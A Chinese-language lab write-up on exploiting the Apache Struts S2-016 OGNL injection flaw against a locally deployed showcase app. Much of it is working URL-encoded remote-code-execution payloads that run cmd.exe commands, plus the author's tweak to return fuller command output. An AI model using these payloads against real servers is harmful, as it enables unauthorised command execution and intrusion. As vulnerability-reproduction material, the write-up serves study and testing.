Struts-S2-016漏洞利用,解决网上大部分POC部分命令
Struts-s2-016
此文仅供大家交流学习,严禁非法使用
一、参考网址:
http://www.freebuf.com/vuls/11220.html
二、 影响版本:
Struts 2.0.0 - Struts 2.3.15
三、 漏洞介绍:
Struts 2 DefaultActionMapper支持通过使用“action:”或“redirect:”前缀参数来进行短路导航状态更改的方法,然后是所需的导航目标表达式。该机制旨在帮助将导航信息附加到表单中的按钮。
在2.3.15.1之前的Struts 2中,“action:”,“redirect:”或“redirectAction:”之后的信息没有被正确的清理。由于所述信息将被评估为对值堆栈的OGNL表达式,因此引入了注入服务器端代码的可能性。
参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。
四、 环境搭建:
- 下载/struts/2.1.6
下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip
-
下载安装xampp
-
部署showcase
-
解压
2.1.6_2.png
- 复制到.
- 重启tomcat
- 已成功自动部署
五、 POC:
?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
六、 测试网址:
原始网址:
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action
修改之后网址:
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
七、执行结果
执行结果,有下载文件,下载并用notepad++打开看到结果
1.png
八、发现问题并修改
但存在问题,执行ipconfig命令时,仅仅输出一行
自习查看POC,很是无奈,但发现println,想到java也有类似函数,java中是仅输出一行,要想全部输出要循环直到read()=-1,恰好看到前面也有read函数,感觉应该一样,但懒的去写循环就手动循环;两句话:#d.read(#e),#matt.getWriter().println(#e),需要修改之前e大小,我这里改为500。至于循环次数,和e的大小,大家在使用的时候根据需求适当调整。我尝试了一下,结果成功了。
修改后POC
${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','ipconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
修改后网址:
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:%24%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%27cmd.exe%27%2C%20%27%2fc%27%2C%27ipconfig%27%7D%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500%5D%2C%23d.read%28%23e%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
执行结果:
2.png九、 至此,该漏洞基本利用完毕
本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家
坚决做一名白帽子